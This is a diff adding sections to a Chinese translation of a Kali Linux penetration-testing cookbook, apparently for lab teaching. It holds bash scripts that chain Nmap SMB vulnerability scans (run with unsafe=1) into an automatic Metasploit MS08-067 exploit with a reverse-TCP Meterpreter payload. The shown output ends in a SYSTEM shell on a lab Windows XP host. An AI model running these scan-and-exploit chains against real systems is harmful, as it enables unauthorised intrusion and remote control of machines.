diff --git a/ch8.md b/ch8.md index 2f463beb428475ea7ac81cea86dddfe93a4c6393..d0cbd775b3d3da97db3050ce248f9d5dff660985 100644 --- a/ch8.md +++ b/ch8.md @@ -22,7 +22,7 @@ Nmap 被大多数安全专业人员认为是 Kali Linux 平台中最流畅和有 下面的示例演示了使用 bash 脚本语言甚至是 bash 命令行界面(CLI),从 Nmap 输出的 greppable 格式中提取信息,这十分简单: -``` +```sh #! /bin/bash if [ ! $1 ]; then echo "Usage: #./script "; @@ -66,3 +66,183 @@ Systems with port 445 open: ### 工作原理 `grep`是一个功能强大的命令行工具,可在 bash 中用于 从输出或从给定文件中提取特定内容。 在此秘籍提供的脚本中,`grep`用于从 Nmap grepable 输出文件中提取给定端口号的任何实例。 因为`grep`函数的输出包括多条信息,所以输出通过管道传递到`cut`函数,来提取 IP 地址,然后将其输出到终端。 + +## 8.2 使用指定 NSE 脚本的 Nmap 端口扫描 + +许多Nmap脚本引擎(NSE)的脚本仅适用于在指定端口上运行的服务。 考虑`smb-check-vulns.nse`脚本的用法。 此脚本将评估在 TCP 445 端口上运行的 SMB 服务的常见服务漏洞。 如果此脚本在整个网络上执行,则必须重新完成任务来确定端口 445 是否打开,以及每个目标系统上是否可访问 SMB 服务。 这是在评估的扫描阶段期间可能已经完成的任务。 Bash 脚本可以用于利用现有的 Nmap greppable 输出文件来运行服务特定的 NSE 脚本,它们只针对运行这些服务的系统。 在本秘籍中,我们将演示如何使用脚本来确定在先前扫描结果中运行 TCP 445 上的服务的主机,然后仅针对这些系统运行`smb-check-vulns.nse`脚本。 + +### 准备 + +要使用本秘籍中演示的脚本,你需要使用 grepable 格式的 Nmap 输出结果。 这可以通过执行 Nmap 端口扫描并使用`-oA`选项输出所有格式,或`-oG`来专门输出 greppable 格式来获取。 在提供的示例中,多个系统在单个`/24`子网上扫描,这包括 Windows XP 和 Metasploitable2。 有关设置 Metasploitable2 的更多信息,请参阅本书第一章中的“安装 Metasploitable2”秘籍。 有关设置 Windows 系统的更多信息,请参阅本书第一章中的“安装 Windows Server”秘籍。 此外,本节需要使用文本编辑器(如 VIM 或 Nano)将脚本写入文件系统。 有关编写脚本的更多信息,请参阅本书第一章中的“使用文本编辑器(VIM 和 Nano)”秘籍。 + +### 操作步骤 + +下面的示例演示了如何使用 bash 脚本将多个任务串联在一起。 这里,我们需要执行 Nmap grepable 输出文件的分析,然后由该任务标识的信息用于针对不同的系统执行 Nmap NSE 脚本。 具体来说,第一个任务将确定哪些系统在 TCP 445 上运行服务,然后针对每个系统执行`smb-check-vulns.nse`脚本。 + +``` +#! /bin/bash + +if [ ! $1 ]; then echo "Usage: #./script "; exit; fi + +file=$1 + +for x in $(grep open $file | grep 445 | cut -d " " -f 2); + do nmap --script smb-check-vulns.nse -p 445 $x --scriptargs=unsafe=1; +done +``` + +为了确保你能理解脚本的功能,我们将按顺序讲解每一行。 前几行与上一个秘籍中讨论的脚本类似。 第一行指向 bash 解释器,第二行检查是否提供参数,第三行将输入值赋给易于理解的变量名。 脚本的主体有一定区分。 `for`循环用于遍历通过`grep`函数获取的 IP 地址列表。 从`grep`函数输出的 IP 地址列表对应在 TCP 端口 445 上运行服务的所有系统。然后对这些 IP 地址中的每一个执行 Nmap NSE 脚本。 通过仅在先前已标识为在 TCP 445 上运行服务的系统上运行此脚本,执行 NSE 扫描所需的时间大大减少。 + +``` +root@KaliLinux:~# ./smb_eval.sh +Usage: #./script +``` + +通过执行不带任何参数的脚本,脚本将输出用法描述。 该描述表明,应当提供现有 Nmap grepable 输出文件的文件名。 当提供 Nmap 输出文件时,脚本快速分析文件来查找具有 TCP 445 服务的任何系统,然后在每个系统上运行 NSE 脚本,并将结果输出到终端。 + +``` +root@KaliLinux:~# ./smb_eval.sh netscan.txt +Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT +Nmap scan report for 172.16.36.135 +Host is up (0.00035s latency). +PORT STATE SERVICE +445/tcp open microsoft-ds +MAC Address: 00:0C:29:3D:84:32 (VMware) + +Host script results: +| smb-check-vulns: +| Conficker: UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED). +| +| If you know the remote system is Windows, try rebooting it and scanning +| +|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND) +| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE + +| MS06-025: NO SERVICE (the Ras RPC service is inactive) +|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive) + +Nmap done: 1 IP address (1 host up) scanned in 5.21 seconds + +Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT +Nmap scan report for 172.16.36.225 +Host is up (0.00041s latency). +PORT STATE SERVICE +445/tcp open microsoft-ds +MAC Address: 00:0C:29:18:11:FB (VMware) + +Host script results: +| smb-check-vulns: +| MS08-067: VULNERABLE +| Conficker: Likely CLEAN +| regsvc DoS: NOT VULNERABLE +| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE +| MS06-025: NO SERVICE (the Ras RPC service is inactive) +|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive) + +Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds +``` + +在提供的示例中,脚本会传递到`netscan.txt`输出文件。 对文件进行快速分析后,脚本确定两个系统正在端口445上运行服务。然后使用`smb-check-vulns.nse`脚本扫描每个服务,并在终端中生成输出。 + +### 工作原理 + +通过提供`grep`序列作为`for`循环要使用的值,此秘籍中的 bash 脚本基本上只是循环遍历该函数的输出。 通过独立运行该函数,可以看到它只提取对应运行 SMB 服务的主机的 IP 地址列表。 然后,`for`循环遍历这些IP地址,并对每个 IP 地址执行 NSE 脚本。 + +## 8.3 使用 MSF 利用程序的 Nmap MSE 漏洞扫描 + +在某些情况下,开发一个将漏洞扫描与利用相结合的脚本可能会有所帮助。 漏洞扫描通常会导致误报,因此通过执行漏洞扫描的后续利用,可以立即验证这些发现的正确性。 此秘籍使用 bash 脚本来执行`smb-check-vulns.nse`脚本,来确定主机是否存在 MS08-067 NetAPI 漏洞,并且如果 NSE 脚本显示如此,Metasploit 会用于 自动尝试利用它来验证。 + +### 准备 + +要使用本秘籍中演示的脚本,你需要使用 grepable 格式的 Nmap 输出结果。 这可以通过执行 Nmap 端口扫描并使用`-oA`选项输出所有格式,或`-oG`来专门输出 greppable 格式来获取。 在提供的示例中,多个系统在单个`/24`子网上扫描,这包括 Windows XP 和 Metasploitable2。 有关设置 Metasploitable2 的更多信息,请参阅本书第一章中的“安装 Metasploitable2”秘籍。 有关设置 Windows 系统的更多信息,请参阅本书第一章中的“安装 Windows Server”秘籍。 此外,本节需要使用文本编辑器(如 VIM 或 Nano)将脚本写入文件系统。 有关编写脚本的更多信息,请参阅本书第一章中的“使用文本编辑器(VIM 和 Nano)”秘籍。 + +### 操作步骤 + +下面的示例演示了如何使用 bash 脚本将漏洞扫描和目标利用的任务串联到一起。 在这种情况下,`smb-checkvulns.nse`脚本用于确定系统是否容易受到 MS08-067 攻击,然后如果发现系统存在漏洞,则对系统执行相应的 Metasploit 漏洞利用。 + +```sh +#! /bin/bash + +if [ ! $1 ]; then echo "Usage: #./script "; +exit; fi + +rhost=$1 +lhost=$2 +lport=$3 + +nmap --script smb-check-vulns.nse -p 445 $rhost --scriptargs=unsafe=1 -oN tmp_output.txt +if [ $(grep MS08-067 tmp_output.txt | cut -d " " -f 5) = "VULNERABLE" ]; + then echo "$rhost appears to be vulnerable, exploiting with Metasploit..."; + msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/ meterpreter/reverse_tcp RHOST=$rhost LHOST=$lhost LPORT=$lport E; +fi +rm tmp_output.txt +``` + +为了确保你能理解脚本的功能,我们将按顺序对每一行进行讲解。脚本中的前几行与本章前面讨论的脚本相同。第一行定义解释器,第二行测试输入,第三,第四和第五行都用于根据用户输入定义变量。在此脚本中,提供的用户变量对应 Metasploit 中使用的变量。 `RHOST`变量应该定义目标的 IP 地址,`LHOST`变量应该定义反向监听器的 IP 地址,`LPORT`变量应该定义正在监听的本地端口。然后脚本在主体中执行的第一个任务是,对目标系统的 IP 地址执行`smb-check-vulns.nse`脚本,它由`RHOST`输入定义。然后,结果以正常格式输出到临时文本文件。然后,`if ... then`条件语句与`grep`函数结合使用,来测试输出文件中是否有唯一的字符串,它表明系统存在漏洞。如果发现了唯一的字符串,则脚本会显式系统看起来存在漏洞,然后使用 Metasploit 框架命令行界面(MSFCLI)使用 Meterpreter 载荷执行 Metasploit 漏洞利用。最后,在加载漏洞利用后,使用`rm`函数从文件系统中删除 Nmap 临时输出文件。`test_n_xploit.sh bash`命令执行如下: + +``` +root@KaliLinux:~# ./test_n_xploit.sh +Usage: #./script +``` + +如果在不提供任何参数的情况下执行脚本,脚本将输出相应的用法。 此使用描述显示,该脚本应以参数`RHOST`,`LHOST`和`LPORT`执行。 这些输入值将用于 Nmap NSE 漏洞扫描和(如果有保证)使用 Metasploit 在目标系统上执行利用。 在以下示例中,脚本用于确定 IP 地址为`172.16.36.225`的主机是否存在漏洞。 如果系统被确定为存在漏洞,则会执行利用,并连接到反向 TCP Meterpreter 处理器,该处理其在 IP 地址`172.16.36.239`的 TCP 端口 4444 上监听系统。 + +``` +root@KaliLinux:~# ./test_n_xploit.sh 172.16.36.225 172.16.36.239 4444 + +Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:58 EDT +Nmap scan report for 172.16.36.225 +Host is up (0.00077s latency). +PORT STATE SERVICE +445/tcp open microsoft-ds +MAC Address: 00:0C:29:18:11:FB (VMware) + +Host script results: +| smb-check-vulns: +| MS08-067: VULNERABLE +| Conficker: Likely CLEAN +| regsvc DoS: NOT VULNERABLE +| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE +| MS06-025: NO SERVICE (the Ras RPC service is inactive) +|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive) + +Nmap done: 1 IP address (1 host up) scanned in 5.61 seconds 172.16.36.225 appears to be vulnerable, exploiting with Metasploit... +[*] Please wait while we load the module tree... + , , + / \ + ((__---,,,---__)) + (_) O O (_)_________ + \ _ / |\ + o_o \ M S F | \ + \ _____ | * + ||| WW||| + ||| ||| + +Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- type 'go_pro' to launch it now. + + =[ metasploit v4.6.0-dev [core:4.6 api:1.0] ++ -- --=[ 1053 exploits - 590 auxiliary - 174 post ++ -- --=[ 275 payloads - 28 encoders - 8 nops + +PAYLOAD => windows/meterpreter/reverse_tcp +RHOST => 172.16.36.225 +LHOST => 172.16.36.239 +LPORT => 4444 + +[*] Started reverse handler on 172.16.36.239:4444 +[*] Automatically detecting the target... +[*] Fingerprint: Windows XP - Service Pack 2 - lang:English +[*] Selected Target: Windows XP SP2 English (AlwaysOn NX) +[*] Attempting to trigger the vulnerability... +[*] Sending stage (752128 bytes) to 172.16.36.225 +[*] Meterpreter session 1 opened (172.16.36.239:4444 -> 172.16.36.225:1130) at 2014-04-10 05:58:30 -0400 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` + +上面的输出显示,在完成 Nmap NSE 脚本后,将立即执行 Metasploit exploit 模块并在目标系统上返回一个交互式 Meterpreter shell。 + +### 工作原理 + +MSFCLI 是 MSF 控制台的有效替代工具,可用于直接从终端执行单行命令,而不是在交互式控制台中工作。 这使得 MSFCLI 对于 bash shell 脚本中的使用是一个很好的功能。 因为可以从 bash 终端执行 NSE 脚本和 MSFCLI,所以可以轻松编写 shell 脚本来将这两个功能组合在一起。